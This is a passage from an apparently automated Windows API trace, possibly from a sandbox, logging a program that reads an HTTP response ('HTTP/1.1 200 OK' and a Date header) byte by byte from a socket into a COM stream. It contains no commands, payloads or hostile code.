returned 1 [0085.826] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.826] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x32, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.827] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.827] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.827] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.827] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x34, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.827] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.827] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.827] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.827] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.827] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.827] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.827] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.828] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.828] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.828] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.828] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.828] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x37, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.828] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.828] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.828] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.828] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.828] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.828] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.828] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.828] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x47, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.829] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.829] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.829] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.829] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x4d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.829] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.829] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.829] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.829] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x54, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.829] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.829] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.829] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.829] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.830] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.830] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.830] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.830] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.830] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.830] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.830] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.830] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x48, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.830] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.830] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.830] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.830] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.830] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.830] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x50, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.830] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.830] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.830] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.830] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2e, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x8, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x9, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xe, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4b, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x11, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.831] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x44, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.831] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x61, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x13, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x74, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x57, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x19, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x64, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2c, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.832] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.832] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x41, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x20, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x70, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x21, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x72, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x22, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x23, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x24, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x25, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x26, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x38, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x27, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x29, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x39, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.833] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.833] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x34, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x37, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x30, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x31, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x47, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x32, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4d, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x33, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x3) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x34, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x2) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x35, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x1) returned 0x0 [0085.834] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x36, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.834] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x0, pcbRead=0x12fe8c*=0x0) returned 0x0 [0085.834] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.834] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.835] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.835] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x53, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.835] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.835] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.835] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.835] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.835] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.835] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.835] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.835] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x72, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.835] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.835] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.836] recv (in: s=0x258, 